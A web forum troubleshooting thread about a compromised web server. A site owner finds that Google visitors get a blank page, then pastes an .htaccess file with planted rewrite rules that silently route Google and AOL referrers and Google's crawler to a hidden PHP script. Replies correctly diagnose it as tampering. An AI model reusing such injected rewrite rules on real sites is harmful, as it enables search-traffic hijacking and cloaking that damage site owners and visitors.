i have noticed a big decrease in traffic lately. I think its due to the following fact. When using Google search engine and search for my own site. It comes back with the link for my site, i click on the link and it just loads a white page. It does not load the website. I have tried this with many of the websites that are hosted on my webserver. Same result. The weird thing is that if i use msn or yahoo search, it loads my site just fine. I have tried this in chrome, firefox, and ie and came up with same result. i have deleted the cache and same thing. I also had my GF in another state try the same method and she came up with the same result. Anyone have any ideas.
Hmm, I think to take Google Expert advice will be better for quick solution. You can ask same question at Google Answer section to find out why this happen. Thanks
Can you post a link or the keywords to be search with your domain name? To get you thinking in the right direction, either the link on G results is malformed or your site is programmed to do something different than normal if the *referrer* is Google. Of the two, the referrer issue is more likely. If you had a programmer who made a mistake or was deliberately trying to harm your site, your site's home page could be programmed to use a rule "if the visitor comes from a link on any google site, re-direct to this other page". Re-directing is a standard tool in web programming, "if the visitor comes from this page, show this, or load that". So, you need inspect the link URL on Google results pages to see where it is going, then determine the address of the actual blank page that is loading. Then you will know the starting point and the ending point now making it possible to follow the trail.
thank you for the interest. one of the sites is glitter universe dot com. see if you can replicate same issue im having. I just spoke to my webserver host and they are mentioning it is something with htaccess. Google must have changed because i made no changes.
Check the URL of the result link on Google. Perhaps it's indexed incorrectly. Or maybe you're attempting some kind of black hat cloaking type things, but doing so incorrectly. Something seems to be going wrong when your referrer is Google.
i now know the problem lies in my .htaccess file. if i delete the file my site loads fine. here is what the htaccess file looks like. is there anything wrong with it? google must have changed something and it has affected all my sites on my server. RewriteEngine On RewriteCond %{HTTP_USER_AGENT} google [OR] RewriteCond %{HTTP_REFERER} (google|aol) RewriteCond %{REQUEST_URI} /$ [OR] RewriteCond %{REQUEST_FILENAME} (html|htm|php|shtml|phtml)$ [NC] RewriteCond %{REQUEST_FILENAME} !/home/glitteru/public_html/2a9d1.php RewriteCond /home/glitteru/public_html/2a9d1.php -f RewriteRule ^.*$ /home/glitteru/public_html/2a9d1.php [L] Options +FollowSymLinks RewriteEngine on RewriteCond %{HTTP_HOST} ^glitteruniverse.com RewriteRule (.*) http://www.glitteruniverse.com/$1 [R=301,L] RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /index\.php\ HTTP/ RewriteRule ^index\.php$ http://www.glitteruniverse.com/ [R=301,L] Code (markup):
Do you see that the htaccess file loads the page 2a9d1.php if the referrer is google or aol. That's the primary source of your issue, as I suggested the probability of a redirect. There's also a 301 redirect in other rules that is not necessary. I would just delete the file. Google did not change anything. Google can not write to a file on your website. Someone did it. Either it was an error by a programmer, or someone is up to no good.
Ya i just figured it out. thank you. your right, someone was up to no good. every site on the server has this done to it.